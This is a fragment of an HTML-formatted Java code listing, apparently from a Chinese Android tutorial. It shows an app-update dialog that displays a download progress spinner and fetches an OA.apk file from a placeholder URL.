&lt;li style="BORDER-LEFT: #d1d7dc 1px solid; PADDING-BOTTOM: 0px; LINE-HEIGHT: 18px; BACKGROUND-COLOR: #fafafa; MARGIN: 0px 0px 0px 38px; PADDING-LEFT: 10px; PADDING-RIGHT: 0px; FONT-SIZE: 1em; PADDING-TOP: 0px"&gt;&lt;span style="COLOR: black"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;span style="COLOR: #7f0055; FONT-WEIGHT: bold"&gt;new&lt;/span&gt;&lt;span style="COLOR: black"&gt;&amp;nbsp;DialogInterface.OnClickListener()&amp;nbsp;{&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;/span&gt;&lt;/li&gt;
&lt;li style="BORDER-LEFT: #d1d7dc 1px solid; PADDING-BOTTOM: 0px; LINE-HEIGHT: 18px; BACKGROUND-COLOR: #fafafa; MARGIN: 0px 0px 0px 38px; PADDING-LEFT: 10px; PADDING-RIGHT: 0px; FONT-SIZE: 1em; PADDING-TOP: 0px"&gt;&lt;span style="COLOR: black"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;/li&gt;
&lt;li style="BORDER-LEFT: #d1d7dc 1px solid; PADDING-BOTTOM: 0px; LINE-HEIGHT: 18px; BACKGROUND-COLOR: #fafafa; MARGIN: 0px 0px 0px 38px; PADDING-LEFT: 10px; PADDING-RIGHT: 0px; FONT-SIZE: 1em; PADDING-TOP: 0px"&gt;&lt;span style="COLOR: black"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;span style="COLOR: #646464"&gt;@Override&lt;/span&gt;&lt;span style="COLOR: black"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;/span&gt;&lt;/li&gt;
&lt;li style="BORDER-LEFT: #d1d7dc 1px solid; PADDING-BOTTOM: 0px; LINE-HEIGHT: 18px; BACKGROUND-COLOR: #fafafa; MARGIN: 0px 0px 0px 38px; PADDING-LEFT: 10px; PADDING-RIGHT: 0px; FONT-SIZE: 1em; PADDING-TOP: 0px"&gt;&lt;span style="COLOR: black"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;span style="COLOR: #7f0055; FONT-WEIGHT: bold"&gt;public&lt;/span&gt;&lt;span style="COLOR: black"&gt;&amp;nbsp;&lt;/span&gt;&lt;span style="COLOR: #7f0055; FONT-WEIGHT: bold"&gt;void&lt;/span&gt;&lt;span style="COLOR: black"&gt;&amp;nbsp;onClick(DialogInterface&amp;nbsp;dialog,&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;/span&gt;&lt;/li&gt;
&lt;li style="BORDER-LEFT: #d1d7dc 1px solid; PADDING-BOTTOM: 0px; LINE-HEIGHT: 18px; BACKGROUND-COLOR: #fafafa; MARGIN: 0px 0px 0px 38px; PADDING-LEFT: 10px; PADDING-RIGHT: 0px; FONT-SIZE: 1em; PADDING-TOP: 0px"&gt;&lt;span style="COLOR: black"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;span style="COLOR: #7f0055; FONT-WEIGHT: bold"&gt;int&lt;/span&gt;&lt;span style="COLOR: black"&gt;&amp;nbsp;which)&amp;nbsp;{&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;/span&gt;&lt;/li&gt;
&lt;li style="BORDER-LEFT: #d1d7dc 1px solid; PADDING-BOTTOM: 0px; LINE-HEIGHT: 18px; BACKGROUND-COLOR: #fafafa; MARGIN: 0px 0px 0px 38px; PADDING-LEFT: 10px; PADDING-RIGHT: 0px; FONT-SIZE: 1em; PADDING-TOP: 0px"&gt;&lt;span style="COLOR: black"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;pBar&amp;nbsp;=&amp;nbsp;&lt;span style="COLOR: #7f0055; FONT-WEIGHT: bold"&gt;new&lt;/span&gt;&lt;span style="COLOR: black"&gt;&amp;nbsp;ProgressDialog(Update.&lt;/span&gt;&lt;span style="COLOR: #7f0055; FONT-WEIGHT: bold"&gt;this&lt;/span&gt;&lt;span style="COLOR: black"&gt;);&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;/span&gt;&lt;/li&gt;
&lt;li style="BORDER-LEFT: #d1d7dc 1px solid; PADDING-BOTTOM: 0px; LINE-HEIGHT: 18px; BACKGROUND-COLOR: #fafafa; MARGIN: 0px 0px 0px 38px; PADDING-LEFT: 10px; PADDING-RIGHT: 0px; FONT-SIZE: 1em; PADDING-TOP: 0px"&gt;&lt;span style="COLOR: black"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;pBar.setTitle(&lt;span style="COLOR: blue"&gt;"正在下载"&lt;/span&gt;&lt;span style="COLOR: black"&gt;);&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;/span&gt;&lt;/li&gt;
&lt;li style="BORDER-LEFT: #d1d7dc 1px solid; PADDING-BOTTOM: 0px; LINE-HEIGHT: 18px; BACKGROUND-COLOR: #fafafa; MARGIN: 0px 0px 0px 38px; PADDING-LEFT: 10px; PADDING-RIGHT: 0px; FONT-SIZE: 1em; PADDING-TOP: 0px"&gt;&lt;span style="COLOR: black"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;pBar.setMessage(&lt;span style="COLOR: blue"&gt;"请稍候..."&lt;/span&gt;&lt;span style="COLOR: black"&gt;);&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;/span&gt;&lt;/li&gt;
&lt;li style="BORDER-LEFT: #d1d7dc 1px solid; PADDING-BOTTOM: 0px; LINE-HEIGHT: 18px; BACKGROUND-COLOR: #fafafa; MARGIN: 0px 0px 0px 38px; PADDING-LEFT: 10px; PADDING-RIGHT: 0px; FONT-SIZE: 1em; PADDING-TOP: 0px"&gt;&lt;span style="COLOR: black"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;pBar&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;/li&gt;
&lt;li style="BORDER-LEFT: #d1d7dc 1px solid; PADDING-BOTTOM: 0px; LINE-HEIGHT: 18px; BACKGROUND-COLOR: #fafafa; MARGIN: 0px 0px 0px 38px; PADDING-LEFT: 10px; PADDING-RIGHT: 0px; FONT-SIZE: 1em; PADDING-TOP: 0px"&gt;&lt;span style="COLOR: black"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;.setProgressStyle(ProgressDialog.STYLE_SPINNER);&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;/li&gt;
&lt;li style="BORDER-LEFT: #d1d7dc 1px solid; PADDING-BOTTOM: 0px; LINE-HEIGHT: 18px; BACKGROUND-COLOR: #fafafa; MARGIN: 0px 0px 0px 38px; PADDING-LEFT: 10px; PADDING-RIGHT: 0px; FONT-SIZE: 1em; PADDING-TOP: 0px"&gt;&lt;span style="COLOR: black"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;downFile(&lt;span style="COLOR: blue"&gt;"http://url:8765/OA.apk"&lt;/span&gt;&lt;span style="COLOR: black"&gt;);&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;/span&gt;&lt;/li&gt;
&lt;li style="BORDER-LEFT: #d1d7dc 1px solid; PADDING-BOTTOM: 0px; LINE-HEIGHT: 18px; BACKGROUND-COLOR: #fafafa; MARGIN: 0px 0px 0px 38px; PADDING-LEFT: 10px; PADDING-RIGHT: 0px; FONT-SIZE: 1em; PADDING-TOP: 0px"&gt;&lt;span style="COLOR: black"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;/li&gt;
&lt;li style="BORDER-LEFT: #d1d7dc 1px solid; PADDING-BOTTOM: 0px; LINE-HEIGHT: 18px; BACKGROUND-COLOR: #fafafa; MARGIN: 0px 0px 0px 38px; PADDING-LEFT: 10px; PADDING-RIGHT: 0px; FONT-SIZE: 1em; PADDING-TOP: 0px"&gt;&lt;span style="COLOR: black"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;}&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;/li&gt;
&lt;li style="BORDER-LEFT: #d1d7dc 1px solid; PADDING-BOTTOM: 0px; LINE-HEIGHT: 18px; BACKGROUND-COLOR: #fafafa; MARGIN: 0px 0px 0px 38px; PADDING-LEFT: 10px; PADDING-RIGHT: 0px; FONT-SIZE: 1em; PADDING-TOP: 0px"&gt;&lt;span style="COLOR: black"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;/li&gt;
&lt;li style="BORDER-LEFT: #d1d7dc 1px solid; PADDING-BOTTOM: 0px; LINE-HEIGHT: 18px; BACKGROUND-COLOR: #fafafa; MARGIN: 0px 0px 0px 38px; PADDING-LEFT: 10px; PADDING-RIGHT: 0px; FONT-SIZE: 1em; PADDING-TOP: 0px"&gt;&lt;span style="COLOR: black"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;}).setNegativeButton(&lt;span style="COLOR: blue"&gt;"取消"&lt;/span&gt;&lt;span style="COLOR: black"&gt;,&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;/span&gt;&lt;/li&gt;
&lt;li style="BORDER-LEFT: #d1d7dc 1px solid; PADDING-BOTTOM: 0px; LINE-HEIGHT: 18px; BACKGROUND-COLOR: #fafafa; MARGIN: 0px 0px 0px 38px; PADDING-LEFT: 10px; PADDING-RIGHT: 0px; FONT-SIZE: 1em; PADDING-TOP: 0px"&gt;&lt;span style="COLOR: black"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;span style="COLOR: #7f0055; FONT-WEIGHT: bold"&gt;new&lt;/span&gt;&lt;span style="COLOR: black"&gt;&amp;nbsp;DialogInterface.OnClickListener()&amp;nbsp;{&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;/span&gt;&lt;/li&gt;
&lt;li style="BORDER-LEFT: #d1d7dc 1px solid; PADDING-BOTTOM: 0px; LINE-HEIGHT: 18px; BACKGROUND-COLOR: #fafafa; MARGIN: 0px 0px 0px 38px; PADDING-LEFT: 10px; PADDING-RIGHT: 0px; FONT-SIZE: 1em; PADDING-TOP: 0px"&gt;&lt;span style="COLOR: black"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;span style="COLOR: #7f0055; FONT-WEIGHT: bold"&gt;public&lt;/span&gt;&lt;span style="COLOR: black"&gt;&amp;nbsp;&lt;/span&gt;&lt;span style="COLOR: #7f0055; FONT-WEIGHT: bold"&gt;void&lt;/span&gt;&lt;span style="COLOR: black"&gt;&amp;nbsp;onClick(DialogInterface&amp;nbsp;dialog,&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;/span&gt;&lt;/li&gt;
&lt;li style="BORDER-LEFT: #d1d7dc 1px solid; PADDING-BOTTOM: 0px; LINE-HEIGHT: 18px; BACKGROUND-COLOR: #fafafa; MARGIN: 0px 0px 0px 38px; PADDING-LEFT: 10px; PADDING-RIGHT: 0px; FONT-SIZE: 1em; PADDING-TOP: 0px"&gt;&lt;span style="COLOR: black"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;span style="COLOR: #7f0055; FONT-WEIGHT: bold"&gt;int&lt;/span&gt;&lt;span style="COLOR: black"&gt;&amp;nbsp;whichButton)&amp;nbsp;{&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;/span&gt;&lt;/li&gt;
&lt;li style="BORDER-LEFT: #d1d7dc 1px solid; PADDING-BOTTOM: 0px; LINE-HEIGHT: 18px; BACKGROUND-COLOR: #fafafa; MARGIN: 0px 0px 0px 38px; PADDING-LEFT: 10px; PADDING-RIGHT: 0px; FONT-SIZE: 1em; PADDING-TOP: 0px"&gt;&lt;span style="COLOR: black"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;span style="COLOR: #008200"&gt;//&amp;nbsp;点击"取消"按钮之后退出程序&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;span style="COLOR: black"&gt;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;/span&gt;&lt;/li&gt;
&lt;li style="BORDER-LEFT: #d1d7dc 1px solid; PADDING-BOTTOM: 0px; LINE-HEIGHT: 18px; BACKGROUND-COLOR: #fafafa; MARGIN: 0px 0px 0px 38px; PADDING-LEFT: 10px; PADDING-RIGHT: 0px; FONT-SIZE: 1em; PADDING-TOP: 0px"&gt;&lt;span style="COLOR: black"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;/li&gt;
&lt;li style="BORDER-LEFT: #d1d7dc 1px solid; PADDING-BOTTOM: 0px; LINE-HEIGHT: 18px; BACKGROUND-COLOR: #fafafa; MARGIN: 0px 0px 0px 38px; PADDING-LEFT: 10px; PADDING-RIGHT: 0px; FONT-SIZE: 1em; PADDING-TOP: 0px"&gt;&lt;span style="COLOR: black"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;}&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;/li&gt;
&lt;li style="BORDER-LEFT: #d1d7dc 1px solid; PADDING-BOTTOM: 0px; LINE-HEIGHT: 18px; BACKGROUND-COLOR: #fafafa; MARGIN: 0px 0px 0px 38px; PADDING-LEFT: 10px; PADDING-RIGHT: 0px; FONT-SIZE: 1em; PADDING-TOP: 0px"&gt;&lt;span style="COLOR: black"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;}).create();&lt;span style="COLOR: #008200"&gt;//&amp;nbsp;创建&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;span style="COLOR: black"&gt;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;/span&gt;&lt;/li&gt;
&lt;li style="BORDER-LEFT: #d1d7dc 1px solid; PADDING-BOTTOM: 0px; LINE-HEIGHT: 18px; BACKGROUND-COLOR: #fafafa; MARGIN: 0px 0px 0px 38px; PADDING-LEFT: 10px; PADDING-RIGHT: 0px; FONT-SIZE: 1em; PADDING-TOP: 0px"&gt;&lt;span style="COLOR: black"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;span style="COLOR: #008200"&gt;//&amp;nbsp;显示对话框&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;span style="COLOR: black"&gt;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;/span&gt;&lt;/li&gt;
&lt;li style="BORDER-LEFT: #d1d7dc 1px solid; PADDING-BOTTOM: 0px; LINE-HEIGHT: 18px; BACKGROUND-COLOR: #fafafa; MARGIN: 0px 0px 0px 38px; PADDING-LEFT: 10px; PADDING-RIGHT: 0px; FONT-SIZE: 1em; PADDING-TOP: 0px"&gt;&lt;span style="COLOR: black"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;dialog.show();&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;/li&gt;
&lt;li style="BORDER-LEFT: #d1d7dc 1px solid; PADDING-BOTTOM: 0px; LINE-HEIGHT: 18px; BACKGROUND-COLOR: #fafafa; MARGIN: 0px 0px 0px 38px; PADDING-LEFT: 10px; PADDING-RIGHT: 0px; FONT-SIZE: 1em; PADDING-TOP: 0px"&gt;&lt;span style="COLOR: black"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;/li&gt;
&lt;li style="BORDER-LEFT: #d1d7dc 1px solid; PADDING-BOTTOM: 0px; LINE-HEIGHT: 18px; BACKGROUND-COLOR: #fafafa; MARGIN: 0px 0px 0px 38px; PADDING-LEFT: 10px; PADDING-RIGHT: 0px; FONT-SIZE: 1em; PADDING-TOP: 0px"&gt;&lt;span style="COLOR: black"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;}&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;/li&gt;
&lt;li style="BORDER-LEFT: #d1d7dc 1px solid; PADDING-BOTTOM: 0px; LINE-HEIGHT: 18px; BACKGROUND-COLOR: #fafafa; MARGIN: 0px 0px 0px 38px; PADDING-LEFT: 10px; PADDING-RIGHT: 0px; FONT-SIZE: 1em; PADDING-TOP: 0px"&gt;&lt;span style="COLOR: black"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;/li&gt;
&lt;li style="BORDER-LEFT: #d1d7dc 1px solid; PADDING-BOTTOM: 0px; LINE-HEIGHT: 18px; BACKGROUND-COLOR: #fafafa; MARGIN: 0px 0px 0px 38px; PADDING-LEFT: 10px; PADDING-RIGHT: 0px; FONT-SIZE: 1em; PADDING-TOP: 0px"&gt;&lt;span style="COLOR: black"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;span style="COLOR: #7f0055; FONT-WEIGHT: bold"&gt;void&lt;/span&gt;&lt;span style="COLOR: black"&gt;&amp;nbsp;downFile(&lt;/span&gt;&lt;span style="COLOR: #7f0055; FONT-WEIGHT: bold"&gt;final&lt;/span&gt;&lt;span style="COLOR: black"&gt;&amp;nbsp;String&amp;nbsp;url)&amp;nbsp;{&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;/span&gt;&lt;/li&gt;
&lt;li style="BORDER-LEFT: #d1d7dc 1px solid; PADDING-BOTTOM: 0px; LINE-HEIGHT: 18px; BACKGROUND-COLOR: #fafafa; MARGIN: 0px 0px 0px 38px; PADDING-LEFT: 10px; PADDING-RIGHT: 0px; FONT-SIZE: 1em; PADDING-TOP: 0px"&gt;&lt;span style="COLOR: black"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;pBar.show();&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;/li&gt;
&lt;li style="BORDER-LEFT: #d1d7dc 1px solid; PADDING-BOTTOM: 0px; LINE-HEIGHT: 18px; BACKGROUND-COLOR: #fafafa; MARGIN: 0px 0px 0px 38px; PADDING-LEFT: 10px; PADDING-RIGHT: 0px; FONT-SIZE: 1em; PADDING-TOP: 0px"&gt;&lt;span style="COLOR: black"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;span style="COLOR: #7f0055; FONT-WEIGHT: bold"&gt;new&lt;/span&gt;&lt;span style="COLOR: black"&gt;&amp;nbsp;Thread()&amp;nbsp;{&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;/span&gt;&lt;/li&gt;
